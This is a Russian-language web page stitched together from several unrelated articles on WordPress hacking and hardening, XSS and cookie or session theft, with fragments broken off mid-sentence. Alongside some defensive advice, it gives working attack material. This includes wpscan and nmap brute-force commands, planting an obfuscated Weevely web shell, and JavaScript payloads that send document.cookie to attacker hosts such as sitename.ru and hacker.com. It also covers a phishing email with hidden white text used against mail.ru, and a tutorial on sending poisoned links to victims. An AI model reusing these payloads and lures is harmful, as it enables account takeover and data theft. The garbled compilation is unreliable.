Меню
ГлавнаяIos

Простой способ украсть cookie. Безопасное программирование на PHP. Кража сессии Кража upcoming php

WordPress - это удобная блог-платформа для публикации статей и управления ими, на которой базируется огромное число различных сайтов. Из-за своей распространенности эта CMS уже давно является лакомым куском для злоумышленников. К сожалению, базовые настройки не обеспечивают достаточного уровня защиты, оставляя многие дефолтные дырки незакрытыми. В этой статье мы пройдем типичным путем «типового» взлома сайта на WordPress, а также покажем как устранить выявленные уязвимости.

Введение

На сегодняшний день WordPress среди систем управления контентом популярнее всего. Его доля составляет 60,4% от общего числа сайтов, использующих CMS-движки. Из них, согласно статистике, 67,3% сайтов базируется на последней версии данного программного обеспечения. Между тем за двенадцать лет существования веб-движка в нем было обнаружено 242 уязвимости различного рода (без учета уязвимостей, найденных в сторонних плагинах и темах). А статистика сторонних дополнений выглядит еще печальней. Так, компания Revisium провела анализ 2350 русифицированных шаблонов для WordPress, взятых из различных источников. В результате они выяснили, что более половины (54%) оказались зараженными веб-шеллами, бэкдорами, blackhat seo («спам») ссылками, а также содержали скрипты с критическими уязвимостями. Поэтому устраивайся поудобней, сейчас мы будем разбираться, как провести аудит сайта на WordPress и устранить найденные недостатки. Использовать будем версию 4.1 (русифицированную).

Индексирование сайта

Первым этапом любого теста обычно бывает сбор информации о цели. И тут очень часто помогает неправильная настройка индексирования сайта, которая позволяет неавторизованным пользователям просматривать содержимое отдельных разделов сайта и, например, получить информацию об установленных плагинах и темах, а также доступ к конфиденциальным данным или резервным копиям баз данных. Чтобы проверить, какие директории видны снаружи, проще всего воспользоваться Гуглом. Достаточно выполнить запрос Google Dorks типа site:example.com intitle:"index of" inurl:/wp-content/ . В операторе inurl: можно указать следующие директории:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

Если сможешь просмотреть /wp-content/plugins/ , следующий шаг по сбору информации об установленных плагинах и их версиях значительно упрощается. Естественно, запретить индексирование можно с помощью файла robots.txt . Так как по умолчанию он не включен в установочный пакет WordPress, его необходимо создать самому и закинуть в корневую директорию сайта. Мануалов по созданию и работе с файлом robots.txt довольно много, поэтому оставлю эту тему для самоподготовки. Приведу лишь один из возможных вариантов:

User-Agent: * Disallow: /cgi-bin Disallow: /wp-login.php Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/ Disallow: /wp-content/plugins/ Disallow: /wp-content/themes/ Disallow: /?author=* Allow: /

Если в файлах, хранящихся в папке uploads , имеются сведения конфиденциального характера, добавляем к этому списку строчку: Disallow: /wp-content/uploads/ .
С другой стороны, в файле robots.txt не рекомендуется размещать ссылки на директории, которые были созданы специально для хранения чувствительной информации. Иначе этим самым ты облегчишь злоумышленнику задачу, так как это первое место, куда обычно все заглядывают в поисках «интересненького».

Определение версии WordPress

Еще один важный шаг - идентификация версии CMS. Иначе как подобрать подходящий сплоит? Существует три быстрых способа для определения используемой на сайте версии WordPress:

  • Найти в исходном коде страницы. Она указана в метатеге generator:

    или же в тегах :

  • Найти в файле readme.html (рис. 1), который входит в состав установочного пакета и находится в корне сайта. Файл может иметь и другие названия типа readme-ja.html .
  • Найти в файле ru_RU.po (рис. 2), который входит в состав установочного пакета и расположен по адресу /wp-content/languages/ : "Project-Id-Version: WordPress 4.1.1\n"

    • Один из вариантов защиты в данном случае - ограничить доступ к файлам readme.html и ru_RU.po с помощью.htaccess .

    Автоматизация процесса тестирования

    Исследованием безопасности WordPress занялись не вчера, поэтому существует достаточное количество инструментов, позволяющих автоматизировать рутинные задачи.

    • определение версии и темы с помощью скрипта http-wordpress-info nmap -sV --script http-wordpress-info
    • подбор пароля по словарям nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com
    • модуль для определения версии: auxiliary/scanner/http/wordpress_scanner ;
    • модуль для определения имени пользователя auxiliary/scanner/http/wordpress_login_enum .
    • перечисление установленных плагинов: wpscan --url www.exmple.com --enumerate p ;
    • перечисление установленных тем: wpscan --url www.exmple.com --enumerate t ;
    • перечисление установленного timthumbs: wpscan --url www.example.com --enumerate tt ;
    • определение имени пользователя: wpscan --url www.example.com --enumerate u ;
    • подбор пароля по словарю для пользователя admin: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
    • подбор пароля с использованием связки имя пользователя / пароль с числом потоков, равным 50: wpscan --url www.example.com --wordlist wordlist.txt --threads 50 .
    Определение установленных компонентов

    Теперь давай соберем информацию об установленных плагинах и темах независимо от того, активированы они или нет. Прежде всего такую информацию можно выудить из исходного кода HTML-страницы, например по JavaScript-ссылкам, из комментариев и ресурсов типа CSS, которые подгружаются на страницу. Это самый простой способ получения информации об установленных компонентах. Например, строчки ниже указывают на используемую тему twentyeleven:

    Так как информация о плагинах не всегда отображается в исходном коде HTML-страницы, то обнаружить установленные компоненты можно с помощью утилиты WPScan (см. врезку). Только не забывай, что перебор путей плагинов зафиксируется в логах веб-сервера.
    Получив данные об установленных компонентах, уже можно приступать к поиску уязвимостей своими силами либо найти общедоступные эксплойты на ресурсах типа rapid7 или exploit-db .

    Определение имени пользователей

    По умолчанию в WordPress каждому пользователю присваивается уникальный идентификатор, представленный в виде числа: example.com/?author=1 . Перебирая числа, ты и определишь имена пользователей сайта. Учетная запись администратора admin, которая создается в процессе установки WordPress, идет под номером 1, поэтому в качестве защитной меры рекомендуется ее удалить.

    Брутфорс wp-login

    Зная имя пользователя, можно попробовать подобрать пароль к панели администрирования. Форма авторизации WordPress на странице wp-login.php весьма информативна (рис. 3), особенно для злоумышленника: при вводе неправильных данных появляются подсказки о неверном имени пользователя или пароле для конкретного пользователя. Разработчикам известно о данной особенности, но ее решили оставить, так как подобные сообщения удобны для пользователей, которые могли забыть свой логин и/или пароль. Проблему подбора пароля можно решить, используя стойкий пароль, состоящий из двенадцати и более символов и включающий буквы верхнего и нижнего регистра, числа и спецсимволы. Или же, например, при помощи плагина Login LockDown.

    Заливаем Shell

    После того как мы сбрутили пароль, ничто не мешает залить шелл на скомпрометированный веб-ресурс. Для этих целей вполне сгодится фреймворк Weevely , который позволяет генерировать шелл в обфусцированном виде, что делает его обнаружение довольно сложным. Чтобы не вызывать подозрения, полученный код можно вставить в любой файл темы (например, в index.php) через редактор темы консоли WordPress. После чего с помощью того же Weevely можно подключиться к машине жертвы и вызывать различные команды:

    Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type:help for more information. weevely> :help

    Подключаем.htaccess

    Для запрета доступа к чувствительной информации лучше воспользоваться файлом.htaccess - это файл конфигурации, используемый в Apache Web Server. Рассмотрим возможности этого файла с точки зрения безопасности. С его помощью можно: запретить доступ к директориям и файлам, заблокировать различные SQL-инъекции и вредоносные скрипты. Для этого стандартный файл.htaccess для CMS WordPress 4.1 нужно немного расширить. Чтобы закрыть список файлов и папок, добавляем:

    Options +FollowSymLinks -Indexes

    RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) заблокирует ссылки, содержащие кодировку Base64. Избавиться от ссылок, содержащих тег :

    RewriteCond %{QUERY_STRING} (|%3E)

    Противодействовать скриптам, пытающимся установить глобальные переменные или изменить переменную _REQUEST через URL:

    RewriteCond %{QUERY_STRING} GLOBALS (=|\[|\%{0,2}) RewriteCond %{QUERY_STRING} _REQUEST (=|\[|\%{0,2})

    Для противодействия SQL-инъекциям блокируем запросы к URL, содержащие определенные ключевые слова:

    RewriteCond %{query_string} concat.*\( RewriteCond %{query_string} union.*select.*\( RewriteCond %{query_string} union.*all.*select RewriteRule ^(.*)$ index.php

    Чтобы испортить жизнь распространенным хакерским утилитам, отфильтровываем определенные user-agent’ы:

    SetEnvIf user-agent «Indy Library» stayout=1 SetEnvIf user-agent «libwww-perl» stayout=1 SetEnvIf user-agent «Wget» stayout=1 deny from env=stayout

    Защищаем файлы

    Неплохо было бы также ограничить и доступ к особо важным файлам, которые хранят конфигурацию или просто могут выдать злоумышленнику какую-то информацию. Можно выделить следующих кандидатов:

    • wp-config.php , содержит имя БД, имя пользователя, пароль и префикс таблиц;
    • .htaccess ;
    • readme.html и ru_RU.po , которые содержат версию WordPress;
    • install.php .

    Делается это следующим образом:

    Order Allow,Deny Deny from all

    Причем файл.htaccess , содержащий эти строки, должен находиться в той же директории, что и защищаемый файл. Затем запрещаем перечисление пользователей (помнишь, чуть выше мы говорили о том, как легко получить список пользователей?):

    RewriteCond %{QUERY_STRING} author=\d RewriteRule ^ /?

    Так, что еще? Можно разрешить вход только с указанных IP-адресов. Для этого создай файл.htaccess в папке wp-admin со следующими правилами:

    AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "Access Control" AuthType Basic order deny,allow deny from all allow from 178.178.178.178 # IP домашнего компа allow from 248.248.248.248 # IP рабочего компа

    Метод не слишком гибкий и применим только в случае, если ты работаешь с ограниченным числом фиксированных IP-адресов. В противном случае рекомендуется установить пароль на папку wp-admin через хостинг-панель (при наличии такого функционала).

    Дополнительные меры

    К тому, что было сказано выше, можно добавить следующие рекомендации. Во-первых, использовать только актуальные версии WordPress и его компонентов - это позволит устранить известные уязвимости. Во-вторых, удалить неиспользуемые плагины и темы, которые также могут быть проэксплуатированы. В-третьих, скачивать темы и плагины WordPress из достоверных источников, например с сайтов разработчиков и официального сайта WordPress. Как и домашний ПК, нужно периодически проверять свой веб-ресурс веб-антивирусом, например AI-Bolit . Если у тебя есть доступ к веб-серверу, настрой права доступа к файлам и каталогам. Как правило, WordPress устанавливает все необходимые права на стадии установки, но в случае необходимости chmod можно выставить вручную. Для каталогов - chmod 755 , для файлов - chmod 644 . Убедись, что права 777 присвоены только тем объектам, которые в этом нуждаются (иногда это необходимо для нормальной работы некоторых плагинов). Если WordPress перестал нормально функционировать, поэкспериментируй с правами доступа: сначала попробуй 755, затем 766 и, наконец, 777. Для всех htaccess-файлов выставь chmod 444 (только чтение). Если сайт перестанет работать, попробуй поэкспериментировать со значениями 400, 440, 444, 600, 640, 644.

    Перемести файл wp-config.php . Данный файл содержит информацию о настройках MySQL, префикс таблиц, секретные ключи и прочее. Поэтому его необходимо перенести для того, чтобы файл не был доступен из интернета. Если сайт не располагается в папке public_html , то перенеси файл wp-config.php в папку уровнем выше, и WordPress автоматически найдет его в этой корневой директории (применимо, если на хостинге имеется только один сайт на этой CMS).

    Чтобы усложнить заливку шелла, отключи возможность редактирования темы через консоль WordPress. Для этого вставь следующую строчку в файл wp-config.php: define("DISALLOW_FILE_EDIT", true); .

    Еще одно слабое место - файл install.php (что в папке wp-admin). Поэтому его лучше удалить, заблокировать или изменить. Выполни один из вариантов:

  • Просто удали этот файл - после установки в нем нет больше необходимости.
  • Запрети доступ к файлу с помощью.htaccess .
  • Переименуй оригинальный файл install.php (например, install.php.old) и создай новый файл install.php со следующим содержимым: Error Establishing Database Connection

    We are currently experiencing database issues. Please check back shortly. Thank you.

    • Помимо уведомления посетителей сайта, данный скрипт выполняет следующие действия:

    • отправляет клиенту и поисковым системам код состояния 503 («Сервис временно недоступен»);
    • указывает промежуток времени, через который клиенты и поисковые системы могут вернуться на сайт (настраиваемый параметр);
    • уведомляет по электронной почте о проблеме с БД для принятия соответствующих мер.

    Дело в том, что в ранних версиях WordPress (

    Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

    Img=new Image();
    img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
    function F() {
    location="http://www.solife.ru";
    }
    setTimeout(F, 5000);

    Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

    Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:


    Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

    E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

    Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

    Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

    Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

    Проверяю свой файл sniff.txt:

    Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

    Хотелось бы поблагодарить Сергея Белова (

    На картинке видно, что в cookie присутствует строка wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. Это значение находится в незашифрованном виде в файле cookie и его легко перехватить с помощью утилиты Achilles, но как правило в большинстве случаев в Achilles можно увидеть лишь хеш той или иной записи. Перед отсылкой запроса на сервер можно попытаться заменить эту строку на любую подобную (хотя в данном случае смысла нет) - количество попыток не ограничено. Затем, отослав этот запрос на сервер с помощью кнопки Send, можно получить ответ от сервера, предназначаю­щийся администратору.

    В предыдущем примере можно использовать прямую подмену идентификатора пользователя. Кроме того, название параметра, подмена значения которого предоставляет дополнительные возможности хакеру, может быть следующим: user (например, USER=JDOE), любое выражение со строкой ID (например, USER=JDOE или SESSIONID=BLAHBLAH), admin (например, ADMIN=TRUE), session (например, SESSION=ACTIVE), cart (например, CART=FULL), а также такие выражения, как TRUE, FALSE, ACTIVE, INACTIVE. Обычно формат файлов cookie очень зависит от приложения, для нужд которого они используются. Однако приведенные советы по поиску изъянов приложений с помощью файлов cookie годятся практически для всех форматов.

    Меры противодействия извлечению информации из файлов cookie, выполняемые на стороне клиента

    В общем случае пользователь должен осторожно относиться к Web-узлам, использующим файлы cookie для аутентификации и хранения важных данных. Также необходимо помнить, что Web-узел, использующий для аутентификации файлы cookie, должен поддерживать хотя бы протокол SSL для шифрования имени пользователя и пароля, так как в случае отсутствия этого протокола данные передаются в незашифрованном виде, что позволяет перехватывать их, ис­пользуя простейшие программные средства для просмотра данных, пересылаемых по сети.

    Компания Kookaburra Software разработала инструмент, облегчающий использование файлов cookie. Называется инструмент CookiePal (http://www.kburra.com/cpal.html (см. www.kburra.com) ). Данная программа предназначена для предупреждения пользователя при попытке Web-узла установить на машину файл cookie, при этом пользователь может разрешить или запретить это действие. Подобные функции блокирования файлов cookie на сегодня есть во всех браузерах.

    Еще одной причиной регулярной установки обновлений Web-броузера, является постоянно выявляемые изъяны системы безопасности этих программ. Так, Бенет Хэйзелтон (Bennet Haselton) и Джеми МакКарти (Jamie McCarthy) создали сценарий, который после щелчка на ссылке извлекает файлы cookie с машины клиента. В результате становится доступным все со­держимое файлов cookie, которые находятся на машине пользователя.

    Взлом подобного рода может быть также осуществлен с помощью дескриптора , встраиваемого в HTML-текст на Web-странице (или в HTML-содержимое электронного письма или рассылки групп новостей) для похищения файлов cookie. Рассмотрим следующий пример:

    Для того, чтоб подобные вещи не грозили нашим личным данным, сам так делаю и всем советую всегда обновлять ПО, работающее с HTML-кодом (e-mail клиенты, медиа-проигрыватели, браузеры и т.д.).

    Многие предпочитают просто блокировать получение файлов cookie, однако, большинству Web-узлов для просмотра необходима поддержка cookie. Вывод – если в скором будущем появится инновационная технология, позволяющая обходится без cookie, программисты и администраторы с облегчением вздохнут, а пока cookie остается лакомым куском для хакера! Это действительно так, поскольку более качественной альтернативы пока не существует.

    Меры противодействия, выполняемые на стороне сервера

    В случае рекомендаций по обеспечению безопасности сервера специалисты дают один простой совет: не используйте механизм cookie без особой на то необходимости! Особенно необходимо быть осторожными при использовании файлов cookie, которые остаются в системе пользователя после завершения сеанса связи.

    Конечно же, важно понимать, что файлы cookie могут использоваться в целях обеспече­ния безопасности Web-серверов для осуществления авторизации пользователей. Если все же разрабатываемому приложению необходимо использовать файлы cookie, то этот механизм следует настроить таким образом, чтобы при каждом сеансе использовались различные клю­чи с коротким периодом действия, а также стараться не помещать в эти файлы информацию, которая может быть использована хакерами для взлома (такую как ADMIN=TRUE).

    Кроме того, для обеспечения большей безопасности при работе с файлами cookie можно использовать их шифрование для предотвращения извлечения важной информации. Конечно же, шифрование не решает всех проблем безопасности при работе с технологией cookie, однако этот метод позволит предотвратить наиболее простые взломы, описанные выше.

  • У пользователя запрашивается логин и пароль.
  • Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
  • Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать:).
  • SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).

    • В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

    Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

    Замечание

    Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту:).

    В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

    Существуют два самых распространенных варианта:

    1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

    http://forum.dklab.ru/?sid=

    Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором.
    Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться:). С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

    2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.



    Текст:


    Содержимое обработчика addmsg.php представлено ниже

    Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы < в < и > в > в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

    window.open("http://hacker.com/get.php?"+document.cookie, "new")

    И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
    Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
    Скрипт авторизации

    Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

    Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой:) - поэтому в доступе ему будет отказано.

    Данный метод не является универсальным и у него тоже есть слабые места.

  • Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.

    • Мой знакомый забыл пароль к одному сайту. Однако ранее он поставил при входе флажок «Запомнить меня» в браузере Google Chrome, что позволяло ему заходить на сайт под своим аккаунтом. Мне прилетел вопрос, можно ли перенести это волшебное состояние на другой компьютер. Правильнее, конечно, было бы сменить или восстановить пароль, но сделать это знакомый не мог по причинам, не относящимся к делу.

    Как пользоваться intercepter-ng для чайников

    Несмотря на многообразие выбора современного софта, программы для взлома на андроид лучше, чем intercepter ng найти сложно. Первым критерием, указывающим в пользу данного продукта, является его реальная работоспособность. Большинство предлагаемых снифферов в сети – только имитация, не выполняющая заявленных функций.

    Следующими положительными факторами является многофункциональность приложения и охват широкой аудитории пользователей.

    Компьютерная помощь 939-29-71

    Начнём по порядку. Cookies или » куки » — это очень маленькие текстовые файлики — закладки с информацией.

    Эту информацию веб — сервер передает на браузер пользователя. где эта информация и хранится до востребования. Не совсем понятно. Ну. хорошо.

    постараюсь ещё проще. Смотрите. вы зарегистрировались на каком — либо сайте.

    В момент регистрации и создаются эти самые » куки «.

    Вот они — то и являются.

    Cookie Cadger

    Программа прослушивает трафик в WiFi-сети, перехватывает cookies и реплицирует сессию пользователя в вашем браузере, повторяя запросы с его учётными данными. Автор Мэтью Салливан (Matthew Sullivan) провёл презентацию программы 30 сентября на конференции хакеров Derbycon. Прямо во время выступления Мэтью Салливан перехватил по WiFi незащищённую сессию с Google одного из посетителей конференции.

    Как украсть куки

    Если, находясь на странице сайта, Вы введёте в адресную строку браузера Firefox или Opera следующий текст: javasсript:document.write(document.сооkiе); то увидите нечто вроде: remixAdminsBar=0; remixGroupType=0; remixpass=******************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Внимание! .

    Полное пособие по межсайтовому скриптингу

    XSS – это тип уязвимости программного обеспечения, свойственный Web-приложениям, который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями.

    Разница между cookie и сессиями

    Не так давно я писал статью о том, как сделать регистрацию и авторизацию пользователей на сайте.

    «. В этой статье я собираюсь разобрать разницу между сессиями и cookie . чтобы Вы окончательно определились с выбором.

    Cookies. Нет, речь вовсе не о печенье, речь о вашей безопасности. Вот заходите вы свой любимый сайт «vkontakte» (или, например, посмотреть почту) на чужом компьютере, отказываетесь от опции «сохранить пароль», радостно просматриваете почту и уходите. И не задумываетесь о том, что под вашим именем теперь можно зайти в социальную сеть или почту.

    Я даже не рассматриваю ситуацию с программой, которая запомнила пароль без вашего ведома. Это уже взлом сознательный, и вы, наверное, будете подозревать, что что-то такое может случиться и не зайдете на таком компьютере на любимый сайт. Но речь может идти о простом человеческом любопытстве — были в гостях у знакомых, а тут раз, и они получают возможность почитать вашу почту. Вы уверены, что они откажутся от такой возможности? А вы не боитесь, что что-то выплывет? В любом случае, я отложу вопросы нравственности и просто поговорю о том, каким образом созраняется на компьютере информация о том, что вас теперь можно пустить на какой-то сайт не запрашивая пароля.

    как украсть Cookie

    И имя этой технологии — cookies.

    А началось все вот с чего. Протокол http по которому, собственно, вы и просматриваете сайты (включая этот) изначально не предполагал возможности поддержания соединения. То есть, грубо говоря, вы отправляете запрос на сайт, получаете ответ, он отображается на экране, а дальше сервер ничего о вас не помнит. Это, конечно, хорошо, когда сайт чисто информационный и не должен ничего о вас помнить, но мы же живем в веке Web 2.0 😉 Естественное развитие протокола — POST и GET запросы, когда вы отправляете какие-то данные, сервер может записать их в базу данных, но и этого оказывается недостаточно.

    Рассмотрим очень простой пример. Форум. Вот вы зарегистрировались, и на форуме есть запись о том, что есть такой-то пользователь с таким-то паролем и какими-то еще дополнительными данными. Но вот теперь вы заходите на форум и авторизуетесь — вводите свой пароль. Где-то должна сохраниться информация о том, что вы авторизовались. На сервере? Конечно, нет! На сервере невозможно сохранить информацию о том, что именно с вашего компьютера была произведена авторизация — он не сможет отличить вас от кого-то другого (даже ваш IP-адрес вас не идентифицирует однозначно)! Таким образом, информацию о том, что произошла авторизация нужно хранить на вашем компьютере. Вот зачем нужны cookies, именно для этого они и были созданы.

    Cookie — это маленькая запись на вашем компьютере, хранящая информацию о сайте, который вы посетили. При авторизации создается подобная запись, после чего вы уже можете гулять по форуму, и он будет вас опознавать. Однако, это уже будет происходить автоматически — благодаря информации, хранящейся в cookie — так что сделать вид, что вы являетесь главным администратором форума, все равно не получится в обход проверки пароля.

    Теперь можно вернуться к тому, с чего начиналась эта статья. Если вы авторизовались где-то даже не сохраняя пароль, то может случиться так, что на компьютере создалась запись, позволяющая теперь входить на этот ресурс под вашим именем без авторизации. Такая запись сама устареет через некоторое время, но можно ее принудительно очистить. В каждом браузере это делается по-своему, я покажу, как это можно сделать в моем любимом Google Chrome. Открываем параметры

    Переходим на вкладку «расширенные» и находим кнопку «показать Cookies»

    Теперь, конечно, можно удалить и все cookies, но это может расстроить хозяина компьютера. Поэтому, например, в верхнем поле можно ввести название интересуещего вас сайта

    Тогда можно произвести очистку только cookies, относящихся к этому сайту. Можете попробовать на моем. При этом если вы авторизуетесь на моем форуме, а затем очистите cookies, то информация об авторизации будет забыта. Попробуйте!

    comments powered by

    1.Что такое XSS(англ. Сross Site Sсriрting - «межсайтовый скриптинг»)
    Уязвимость типа XSS позволяет вставить произвольный javascript код в тело страницы. Атака XSS отличается от других(напр. SQL injection или PHP injection) тем, что действует не на сервер, а на клиента.

    как украсть cookies

    С ее помощью нельзя посмотреть таблицы БД, залить шелл и т.п. Чаще всего XSS испульзуют для кражи cookies.
    Cookies(Куки) — небольшой фрагмент данных, созданный веб-сервером и хранимый на компьютере пользователя в виде файла. Обычно куки используются для хранения учетных записей, и, чаще всего, в них находятся закодированные пароль, логин, и идентификатор сессии.(хотя далеко не всегда)
    XSS бывают двух типов, активные и пассивные.

    Пассивные XSS требуют от жертвы непосредственного участия, например перейти по ссылке, содержащей javascript код. При использовании этого типа XSS не обойтись без СИ(Социальная Инженерия)

    Активные XSS не требуют никакого участия со стороны жертвы, ей достаточно лишь зайти на страницу с XSS. Активные XSS могут быть, например, в сообщениях на форумах, чатах, в добавлении новости и т.п.

    2.Поиск XSS
    В этом пункте я расскажу как найти xss

    2.1.Пассивные XSS
    Чтобы найти пассивную XSS достаточно подставить в форму ввода alert(‘xss’) если скрипт сработал и появилось сообщение "xss" значит уязвимость присутствует, если скрипт не сработал можно еще попробывать ">alert(), это, наверное самая распространенная xss уязвимость. Если ни тот ни другой скрипт не сработал то уязвимости, скорее всего, нет.
    Рассмотрим на примере.
    http://miss.rambler.ru/srch/?sort=0& … amp;words=
    Видите форму "искать"? вставим туда ">alert() и нажмем "найти"
    Вылетело окошко c xss, значит xss присутствует.(возможно, на момент прочтения вами данной статьи эту xss уже пофисят)

    2.2.Активные XSS
    Такие ксс могут быть, например, в полях профиля, при добавлении новости в названии новости и в самой новости(реже), в сообщениях на форумах/чатах/гостивухах при включенном html. Тут все просто, вписываем в поля скрипт из предыдущего подпункта, и если сообщение вывелось на экран, то уязвимость присутствует.
    Рассморим xss в BB тегах на форумах.
    можно попробовать тупо вставить javascript код в тег, например так:
    javasсriрt:alert(‘xss’)
    У некоторых тегов есть параметры, например у тега есть параметры dynsrc и lowsrc, попробуем подставить код так:
    http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
    Если скрипт сработал, xss есть

    3.Использование XSS для кражи cookies
    Теперь самое вкусное))))
    Для того чтобы украсть куки нам понадобится веб-сниффер, можно установить какой-нибудь сниффер на свой хостинг, а можно воспользоваться онлайн-сниффером, которых сейчас полно.
    Чтобы украсть куки через пассивеую XSS надо чтобы жертва прошла по ядовитой ссылке. Чтобы украсть куки мы будем исользовать вместо alert(‘xss’) другой скрипт:
    img = new Image();


    подставляем скрипт в ссылку и даем жертве перейти по ней, смотри лог сниффера и радуемся.
    Рассмотрим на примере.
    Возьмем ту XSS на рамблере из предыдущего пункта.
    Вставляем
    ">
    img = new Image();
    img.src = "адрес картинки-сниффера"+document.cookie;

    в форму поиска, нажимаем "найти", смотрим адресную строку и видим:

    http://miss.rambler.ru/srch/?sort=0& … &words =">
    Кидаем эту ссылку жертве и радуемся кукам.
    Увидев такую ссылку жертва может что-то заподозрить, поэтому желательно закодировать
    ">img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;
    в URL Или воспользоваться сервисами типа http://tinyurl.com/
    Перейдем к активным XSS, тут все просто, вместо alert() вставляем img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;

    Теперь у нас есть куки. Но что с ними делать? Все просто, их надо подставить вместо своих. В браузере Opera есть встроеный редактор cookies(инструменты->дополнительно->управление cookies), для firefox есть плагин(не помню как называется, юзайте гугл)
    На этом пока все, возможно статья будет дополняться